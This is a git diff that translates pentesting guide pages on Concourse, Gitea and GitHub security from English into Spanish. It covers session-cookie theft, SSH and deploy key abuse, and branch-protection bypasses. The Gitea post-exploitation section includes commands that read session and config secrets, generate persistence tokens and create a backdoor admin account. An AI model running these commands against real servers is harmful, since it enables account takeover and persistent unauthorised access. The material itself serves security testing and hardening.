[Steps](https://concourse-ci.org/steps.html). ### Steps -Several different type of steps can be used: +Se pueden utilizar varios tipos diferentes de pasos: -- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html) -- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html) -- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html) -- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html) -- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars) -- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel -- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence -- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values -- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails +- **el** [**paso `task`**](https://concourse-ci.org/task-step.html) **ejecuta una** [**tarea**](https://concourse-ci.org/tasks.html) +- el [`get` step](https://concourse-ci.org/get-step.html) obtiene un [recurso](https://concourse-ci.org/resources.html) +- el [`put` step](https://concourse-ci.org/put-step.html) actualiza un [recurso](https://concourse-ci.org/resources.html) +- el [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configura un [pipeline](https://concourse-ci.org/pipelines.html) +- el [`load_var` step](https://concourse-ci.org/load-var-step.html) carga un valor en una [var local](https://concourse-ci.org/vars.html#local-vars) +- el [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) ejecuta pasos en paralelo +- el [`do` step](https://concourse-ci.org/do-step.html) ejecuta pasos en secuencia +- el modificador de paso [`across`](https://concourse-ci.org/across-step.html#schema.across) ejecuta un paso múltiples veces; una vez por cada combinación de valores de variable +- el [`try` step](https://concourse-ci.org/try-step.html) intenta ejecutar un paso y tiene éxito incluso si el paso falla -Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step. +Cada [step](https://concourse-ci.org/steps.html) en un [plan de trabajo](https://concourse-ci.org/jobs.html#schema.job.plan) se ejecuta en su **propio contenedor**. Puedes ejecutar lo que desees dentro del contenedor _(es decir, ejecutar mis pruebas, ejecutar este script bash, construir esta imagen, etc.)_. Así que si tienes un trabajo con cinco pasos, Concourse creará cinco contenedores, uno para cada paso. -Therefore, it's possible to indicate the type of container each step needs to be run in. - -### Simple Pipeline Example +Por lo tanto, es posible indicar el tipo de contenedor en el que cada paso necesita ser ejecutado. +### Ejemplo de Pipeline Simple ```yaml jobs: - - name: simple - plan: - - task: simple-task - privileged: true - config: - # Tells Concourse which type of worker this task should run on - platform: linux - image_resource: - type: registry-image - source: - repository: busybox # images are pulled from docker hub by default - run: - path: sh - args: - - -cx - - | - sleep 1000 - echo "$SUPER_SECRET" - params: - SUPER_SECRET: ((super.secret)) +- name: simple +plan: +- task: simple-task +privileged: true +config: +# Tells Concourse which type of worker this task should run on +platform: linux +image_resource: +type: registry-image +source: +repository: busybox # images are pulled from docker hub by default +run: +path: sh +args: +- -cx +- | +sleep 1000 +echo "$SUPER_SECRET" +params: +SUPER_SECRET: ((super.secret)) ``` ```bash @@ -130,26 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch # From another console fly -t tutorial intercept --job pipe-name/simple ``` +Verifica **127.0.0.1:8080** para ver el flujo de la tubería. -Check **127.0.0.1:8080** to see the pipeline flow. +### Script de Bash con tubería de salida/entrada -### Bash script with output/input pipeline +Es posible **guardar los resultados de una tarea en un archivo** e indicar que es una salida y luego indicar la entrada de la siguiente tarea como la salida de la tarea anterior. Lo que hace concourse es **montar el directorio de la tarea anterior en la nueva tarea donde puedes acceder a los archivos creados por la tarea anterior**. -It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**. +### Disparadores -### Triggers +No necesitas activar los trabajos manualmente cada vez que necesites ejecutarlos, también puedes programarlos para que se ejecuten cada vez: -You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time: +- Pasa un tiempo: [Time resource](https://github.com/concourse/time-resource/) +- En nuevos commits a la rama principal: [Git resource](https://github.com/concourse/git-resource) +- Nuevas PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) +- Obtener o enviar la última imagen de tu aplicación: [Registry-image resource](https://github.com/concourse/registry-image-resource/) -- Some time passes: [Time resource](https://github.com/concourse/time-resource/) -- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource) -- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) -- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/) - -Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) +Consulta un ejemplo de tubería YAML que se activa con nuevos commits a master en [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index bf4f6485a..dd9eec7e7 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -2,141 +2,129 @@ {{#include ../../banners/hacktricks-training.md}} -## What is Gitea +## Qué es Gitea -**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go. +**Gitea** es una **solución de alojamiento de código ligera gestionada por la comunidad y autoalojada** escrita en Go. ![](<../../images/image (160).png>) -### Basic Information +### Información Básica {{#ref}} basic-gitea-information.md {{#endref}} -## Lab - -To run a Gitea instance locally you can just run a docker container: +## Laboratorio +Para ejecutar una instancia de Gitea localmente, solo puedes ejecutar un contenedor de docker: ```bash docker run -p 3000:3000 gitea/gitea ``` +Conéctate al puerto 3000 para acceder a la página web. -Connect to port 3000 to access the web page. - -You could also run it with kubernetes: - +También podrías ejecutarlo con kubernetes: ``` helm repo add gitea-charts https://dl.gitea.io/charts/ helm install gitea gitea-charts/gitea ``` +## Enumeración No Autenticada -## Unauthenticated Enumeration +- Repos públicos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) +- Usuarios registrados: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) +- Organizaciones registradas: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) -- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) -- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) -- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) +Ten en cuenta que por **defecto Gitea permite que nuevos usuarios se registren**. Esto no dará un acceso especialmente interesante a los nuevos usuarios sobre otros repos de organizaciones/usuarios, pero un **usuario autenticado** podría **visualizar más repos u organizaciones**. -Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**. +## Explotación Interna -## Internal Exploitation +Para este escenario vamos a suponer que has obtenido algún acceso a una cuenta de github. -For this scenario we are going to suppose that you have obtained some access to a github account. +### Con Credenciales de Usuario/Cookie Web -### With User Credentials/Web Cookie +Si de alguna manera ya tienes credenciales para un usuario dentro de una organización (o robaste una cookie de sesión) puedes **simplemente iniciar sesión** y verificar qué **permisos tienes** sobre qué **repos,** en **qué equipos** estás, **listar otros usuarios**, y **cómo están protegidos los repos.** -If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.** - -Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**. +Ten en cuenta que **se puede usar 2FA** así que solo podrás acceder a esta información si también puedes **pasar esa verificación**. > [!NOTE] -> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. +> Ten en cuenta que si **logras robar la cookie `i_like_gitea`** (actualmente configurada con SameSite: Lax) puedes **suplantar completamente al usuario** sin necesidad de credenciales o 2FA. -### With User SSH Key +### Con Clave SSH de Usuario -Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). - -With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to: +Gitea permite a **los usuarios** establecer **claves SSH** que se utilizarán como **método de autenticación para desplegar código** en su nombre (no se aplica 2FA). +Con esta clave puedes realizar **cambios en repositorios donde el usuario tiene algunos privilegios**, sin embargo, no puedes usarla para acceder a la API de gitea para enumerar el entorno. Sin embargo, puedes **enumerar configuraciones locales** para obtener información sobre los repos y el usuario al que tienes acceso: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` +Si el usuario ha configurado su nombre de usuario como su nombre de usuario de gitea, puedes acceder a las **claves públicas que ha establecido** en su cuenta en _https://github.com/\.keys_, podrías verificar esto para confirmar que la clave privada que encontraste puede ser utilizada. -If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used. +**Las claves SSH** también se pueden establecer en los repositorios como **claves de despliegue**. Cualquiera con acceso a esta clave podrá **lanzar proyectos desde un repositorio**. Usualmente, en un servidor con diferentes claves de despliegue, el archivo local **`~/.ssh/config`** te dará información sobre a qué clave está relacionada. -**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. +#### Claves GPG -#### GPG Keys - -As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered. - -Check locally if the current user has any key with: +Como se explicó [**aquí**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md), a veces es necesario firmar los commits o podrías ser descubierto. +Verifica localmente si el usuario actual tiene alguna clave con: ```shell gpg --list-secret-keys --keyid-format=long ``` +### Con Token de Usuario -### With User Token +Para una introducción sobre [**Tokens de Usuario consulta la información básica**](basic-gitea-information.md#personal-access-tokens). -For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens). +Un token de usuario puede ser utilizado **en lugar de una contraseña** para **autenticar** contra el servidor de Gitea [**a través de la API**](https://try.gitea.io/api/swagger#/). tendrá **acceso completo** sobre el usuario. -A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user. +### Con Aplicación Oauth -### With Oauth Application +Para una introducción sobre [**Aplicaciones Oauth de Gitea consulta la información básica**](./#with-oauth-application). -For an introduction about [**Gitea Oauth Applications check the basic information**](./#with-oauth-application). +Un atacante podría crear una **Aplicación Oauth maliciosa** para acceder a datos/acciones privilegiadas de los usuarios que las acepten probablemente como parte de una campaña de phishing. -An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +Como se explicó en la información básica, la aplicación tendrá **acceso total sobre la cuenta del usuario**. -As explained in the basic information, the application will have **full access over the user account**. +### Bypass de Protección de Ramas -### Branch Protection Bypass +En Github tenemos **github actions** que por defecto obtienen un **token con acceso de escritura** sobre el repositorio que puede ser utilizado para **eludir las protecciones de ramas**. En este caso eso **no existe**, por lo que los bypass son más limitados. Pero veamos qué se puede hacer: -In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done: +- **Habilitar Push**: Si alguien con acceso de escritura puede hacer push a la rama, simplemente haz push a ella. +- **Whitelist Restricted Push**: De la misma manera, si eres parte de esta lista haz push a la rama. +- **Habilitar Merge Whitelist**: Si hay una lista blanca de merges, necesitas estar dentro de ella. +- **Requerir aprobaciones es mayor que 0**: Entonces... necesitas comprometer a otro usuario. +- **Restringir aprobaciones a los que están en la lista blanca**: Si solo los usuarios en la lista blanca pueden aprobar... necesitas comprometer a otro usuario que esté dentro de esa lista. +- **Desestimar aprobaciones obsoletas**: Si las aprobaciones no se eliminan con nuevos commits, podrías secuestrar un PR ya aprobado para inyectar tu código y fusionar el PR. -- **Enable Push**: If anyone with write access can push to the branch, just push to it. -- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch. -- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it -- **Require approvals is bigger than 0**: Then... you need to compromise another user -- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list -- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR. +Ten en cuenta que **si eres un administrador de org/repositorio** puedes eludir las protecciones. -Note that **if you are an org/repo admin** you can bypass the protections. +### Enumerar Webhooks -### Enumerate Webhooks +**Webhooks** son capaces de **enviar información específica de gitea a algunos lugares**. Podrías ser capaz de **explotar esa comunicación**.\ +Sin embargo, generalmente se establece un **secreto** que no puedes **recuperar** en el **webhook** que **previene** que usuarios externos que conocen la URL del webhook pero no el secreto **exploten ese webhook**.\ +Pero en algunas ocasiones, las personas en lugar de establecer el **secreto** en su lugar, lo **establecen en la URL** como un parámetro, por lo que **verificar las URLs** podría permitirte **encontrar secretos** y otros lugares que podrías explotar más adelante. -**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\ -However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\ -But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further. +Los webhooks pueden ser establecidos a **nivel de repositorio y de organización**. -Webhooks can be set at **repo and at org level**. +## Post Explotación -## Post Exploitation +### Dentro del servidor -### Inside the server +Si de alguna manera lograste entrar en el servidor donde se está ejecutando gitea, deberías buscar el archivo de configuración de gitea. Por defecto se encuentra en `/data/gitea/conf/app.ini` -If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini` +En este archivo puedes encontrar **claves** y **contraseñas**. -In this file you can find **keys** and **passwords**. +En la ruta de gitea (por defecto: /data/gitea) también puedes encontrar información interesante como: -In the gitea path (by default: /data/gitea) you can find also interesting information like: +- La base de datos **sqlite**: Si gitea no está utilizando una base de datos externa, utilizará una base de datos sqlite. +- Las **sesiones** dentro de la carpeta de sesiones: Ejecutando `cat sessions/*/*/*` puedes ver los nombres de usuario de los usuarios conectados (gitea también podría guardar las sesiones dentro de la base de datos). +- La **clave privada jwt** dentro de la carpeta jwt. +- Más **información sensible** podría encontrarse en esta carpeta. -- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db -- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB). -- The **jwt private key** inside the jwt folder -- More **sensitive information** could be found in this folder +Si estás dentro del servidor también puedes **usar el binario `gitea`** para acceder/modificar información: -If you are inside the server you can also **use the `gitea` binary** to access/modify information: - -- `gitea dump` will dump gitea and generate a .zip file -- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence) -- `gitea admin user change-password --username admin --password newpassword` Change the password -- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token +- `gitea dump` volcará gitea y generará un archivo .zip. +- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` generará un token del tipo indicado (persistencia). +- `gitea admin user change-password --username admin --password newpassword` Cambia la contraseña. +- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Crea un nuevo usuario administrador y obtiene un token de acceso. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index e6e4d9ba3..cfcc0bb1a 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -1,107 +1,103 @@ -# Basic Gitea Information +# Información Básica de Gitea {{#include ../../banners/hacktricks-training.md}} -## Basic Structure +## Estructura Básica -The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization. +La estructura básica del entorno de Gitea es agrupar repos por **organización(es),** cada una de ellas puede contener **varios repositorios** y **varios equipos.** Sin embargo, ten en cuenta que al igual que en github, los usuarios pueden tener repos fuera de la organización. -Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**. +Además, un **usuario** puede ser **miembro** de **diferentes organizaciones**. Dentro de la organización, el usuario puede tener **diferentes permisos sobre cada repositorio**. -A user may also be **part of different teams** with different permissions over different repos. +Un usuario también puede ser **parte de diferentes equipos** con diferentes permisos sobre diferentes repos. -And finally **repositories may have special protection mechanisms**. +Y finalmente, **los repositorios pueden tener mecanismos de protección especiales**. -## Permissions +## Permisos -### Organizations +### Organizaciones -When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**. +Cuando se **crea una organización**, se crea un equipo llamado **Owners** y el usuario se coloca dentro de él. Este equipo dará **acceso de administrador** sobre la **organización**, esos **permisos** y el **nombre** del equipo **no pueden ser modificados**. -**Org admins** (owners) can select the **visibility** of the organization: +**Los administradores de la organización** (propietarios) pueden seleccionar la **visibilidad** de la organización: -- Public -- Limited (logged in users only) -- Private (members only) +- Pública +- Limitada (solo usuarios registrados) +- Privada (solo miembros) -**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos. +**Los administradores de la organización** también pueden indicar si los **administradores de repos** pueden **agregar o eliminar acceso** para equipos. También pueden indicar el número máximo de repos. -When creating a new team, several important settings are selected: +Al crear un nuevo equipo, se seleccionan varias configuraciones importantes: -- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all. -- It's also indicated **if members can create new repos** (creator will get admin access to it) -- The **permissions** the **members** of the repo will **have**: - - **Administrator** access - - **Specific** access: +- Se indica los **repos de la org a los que los miembros del equipo podrán acceder**: repos específicos (repos donde se agrega el equipo) o todos. +- También se indica **si los miembros pueden crear nuevos repos** (el creador obtendrá acceso de administrador a él) +- Los **permisos** que los **miembros** del repos **tendrán**: +- Acceso **Administrador** +- Acceso **Específico**: ![](<../../images/image (118).png>) -### Teams & Users +### Equipos y Usuarios -In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**: +En un repositorio, el **administrador de la org** y los **administradores de repos** (si lo permite la org) pueden **gestionar los roles** otorgados a colaboradores (otros usuarios) y equipos. Hay **3** posibles **roles**: -- Administrator -- Write -- Read +- Administrador +- Escribir +- Leer -## Gitea Authentication +## Autenticación de Gitea -### Web Access +### Acceso Web -Using **username + password** and potentially (and recommended) a 2FA. +Usando **nombre de usuario + contraseña** y potencialmente (y recomendado) un 2FA. -### **SSH Keys** +### **Claves SSH** -You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) +Puedes configurar tu cuenta con una o varias claves públicas que permiten que la clave **privada relacionada realice acciones en tu nombre.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) -#### **GPG Keys** +#### **Claves GPG** -You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. +No **puedes suplantar al usuario con estas claves**, pero si no las usas, podría ser posible que **se descubra que envías commits sin una firma**. -### **Personal Access Tokens** +### **Tokens de Acceso Personal** -You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) +Puedes generar un token de acceso personal para **dar acceso a una aplicación a tu cuenta**. Un token de acceso personal otorga acceso completo a tu cuenta: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) -### Oauth Applications +### Aplicaciones Oauth -Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet: +Al igual que los tokens de acceso personal, las **aplicaciones Oauth** tendrán **acceso completo** a tu cuenta y a los lugares a los que tu cuenta tiene acceso porque, como se indica en la [documentación](https://docs.gitea.io/en-us/oauth2-provider/#scopes), los alcances aún no son compatibles: ![](<../../images/image (194).png>) -### Deploy keys +### Claves de Despliegue -Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos. +Las claves de despliegue pueden tener acceso de solo lectura o de escritura al repositorio, por lo que pueden ser interesantes para comprometer repos específicos. -## Branch Protections +## Protecciones de Ramas -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +Las protecciones de ramas están diseñadas para **no dar control completo de un repositorio** a los usuarios. El objetivo es **implementar varios métodos de protección antes de poder escribir código dentro de alguna rama**. -The **branch protections of a repository** can be found in _https://localhost:3000/\/\/settings/branches_ +Las **protecciones de ramas de un repositorio** se pueden encontrar en _https://localhost:3000/\/\/settings/branches_ > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> No es **posible establecer una protección de rama a nivel de organización**. Por lo tanto, todas deben ser declaradas en cada repositorio. -Different protections can be applied to a branch (like to master): +Se pueden aplicar diferentes protecciones a una rama (como a master): -- **Disable Push**: No-one can push to this branch -- **Enable Push**: Anyone with access can push, but not force push. -- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push) -- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs. -- **Enable Status checks:** Require status checks to pass before merging. -- **Require approvals**: Indicate the number of approvals required before a PR can be merged. -- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs. -- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass) -- **Block merge on official review requests**: If there official review requests it cannot be merged -- **Dismiss stale approvals**: When new commits, old approvals will be dismissed. -- **Require Signed Commits**: Commits must be signed. -- **Block merge if pull request is outdated** -- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes +- **Deshabilitar Push**: Nadie puede hacer push a esta rama +- **Habilitar Push**: Cualquiera con acceso puede hacer push, pero no forzar push. +- **Lista Blanca de Push Restringido**: Solo usuarios/equipos seleccionados pueden hacer push a esta rama (pero no forzar push) +- **Habilitar Lista Blanca de Merge**: Solo usuarios/equipos en la lista blanca pueden fusionar PRs. +- **Habilitar Verificaciones de Estado:** Requiere que las verificaciones de estado pasen antes de fusionar. +- **Requerir aprobaciones**: Indica el número de aprobaciones requeridas antes de que un PR pueda ser fusionado. +- **Restringir aprobaciones a los de la lista blanca**: Indica usuarios/equipos que pueden aprobar PRs. +- **Bloquear fusión en revisiones rechazadas**: Si se solicitan cambios, no se puede fusionar (incluso si las otras verificaciones pasan) +- **Bloquear fusión en solicitudes de revisión oficiales**: Si hay solicitudes de revisión oficiales, no se puede fusionar +- **Desestimar aprobaciones obsoletas**: Cuando hay nuevos commits, las aprobaciones antiguas serán desestimadas. +- **Requerir Commits Firmados**: Los commits deben estar firmados. +- **Bloquear fusión si la solicitud de extracción está desactualizada** +- **Patrones de archivos protegidos/no protegidos**: Indica patrones de archivos para proteger/no proteger contra cambios > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> Como puedes ver, incluso si lograste obtener algunas credenciales de un usuario, **los repos pueden estar protegidos evitando que empujes código a master**, por ejemplo, para comprometer el pipeline de CI/CD. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index cdad12b57..558038758 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -1,42 +1,42 @@ -# Github Security +# Seguridad de Github {{#include ../../banners/hacktricks-training.md}} -## What is Github +## Qué es Github -(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**. +(De [aquí](https://kinsta.com/knowledgebase/what-is-github/)) A un alto nivel, **GitHub es un sitio web y un servicio basado en la nube que ayuda a los desarrolladores a almacenar y gestionar su código, así como a rastrear y controlar los cambios en su código**. -### Basic Information +### Información Básica {{#ref}} basic-github-information.md {{#endref}} -## External Recon +## Reconocimiento Externo -Github repositories can be configured as public, private and internal. +Los repositorios de Github pueden configurarse como públicos, privados e internos. -- **Private** means that **only** people of the **organisation** will be able to access them -- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it -- **Public** means that **all internet** is going to be able to access it. +- **Privado** significa que **solo** las personas de la **organización** podrán acceder a ellos. +- **Interno** significa que **solo** las personas de la **empresa** (una empresa puede tener varias organizaciones) podrán acceder a él. +- **Público** significa que **todo internet** podrá acceder a él. -In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**. +En caso de que conozcas el **usuario, repositorio u organización que deseas atacar**, puedes usar **github dorks** para encontrar información sensible o buscar **filtraciones de información sensible** **en cada repositorio**. ### Github Dorks -Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**. +Github permite **buscar algo especificando como alcance un usuario, un repositorio o una organización**. Por lo tanto, con una lista de cadenas que van a aparecer cerca de información sensible, puedes fácilmente **buscar información sensible potencial en tu objetivo**. -Tools (each tool contains its list of dorks): +Herramientas (cada herramienta contiene su lista de dorks): -- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks)) -- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) -- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists)) +- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Lista de Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks)) +- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Lista de Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) +- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Lista de Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists)) -### Github Leaks +### Filtraciones de Github -Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits). +Por favor, ten en cuenta que los github dorks también están destinados a buscar filtraciones utilizando las opciones de búsqueda de github. Esta sección está dedicada a aquellas herramientas que **descargarán cada repositorio y buscarán información sensible en ellos** (incluso revisando cierta profundidad de commits). -Tools (each tool contains its list of regexes): +Herramientas (cada herramienta contiene su lista de regex): - [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) - [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) @@ -47,202 +47,190 @@ Tools (each tool contains its list of regexes): - [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) > [!WARNING] -> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets! +> Cuando busques filtraciones en un repositorio y ejecutes algo como `git log -p`, no olvides que puede haber **otras ramas con otros commits** que contengan secretos. -### External Forks +### Forks Externos -It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork). +Es posible **comprometer repositorios abusando de solicitudes de extracción**. Para saber si un repositorio es vulnerable, principalmente necesitas leer las configuraciones yaml de Github Actions. [**Más información sobre esto a continuación**](./#execution-from-a-external-fork). -### Github Leaks in deleted/internal forks +### Filtraciones de Github en forks eliminados/internos -Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here: +Incluso si están eliminados o internos, puede ser posible obtener datos sensibles de forks de repositorios de github. Verifícalo aquí: {{#ref}} accessible-deleted-data-in-github.md {{#endref}} -## Organization Hardening +## Fortalecimiento de la Organización -### Member Privileges +### Privilegios de Miembros -There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations//settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs). +Hay algunos **privilegios predeterminados** que se pueden asignar a los **miembros** de la organización. Estos se pueden controlar desde la página `https://github.com/organizations//settings/member_privileges` o desde la [**API de Organizaciones**](https://docs.github.com/en/rest/orgs/orgs). -- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**. -- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories. -- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages. -- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it. - - _I couldn't find this info in the APIs response, share if you do_ -- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If 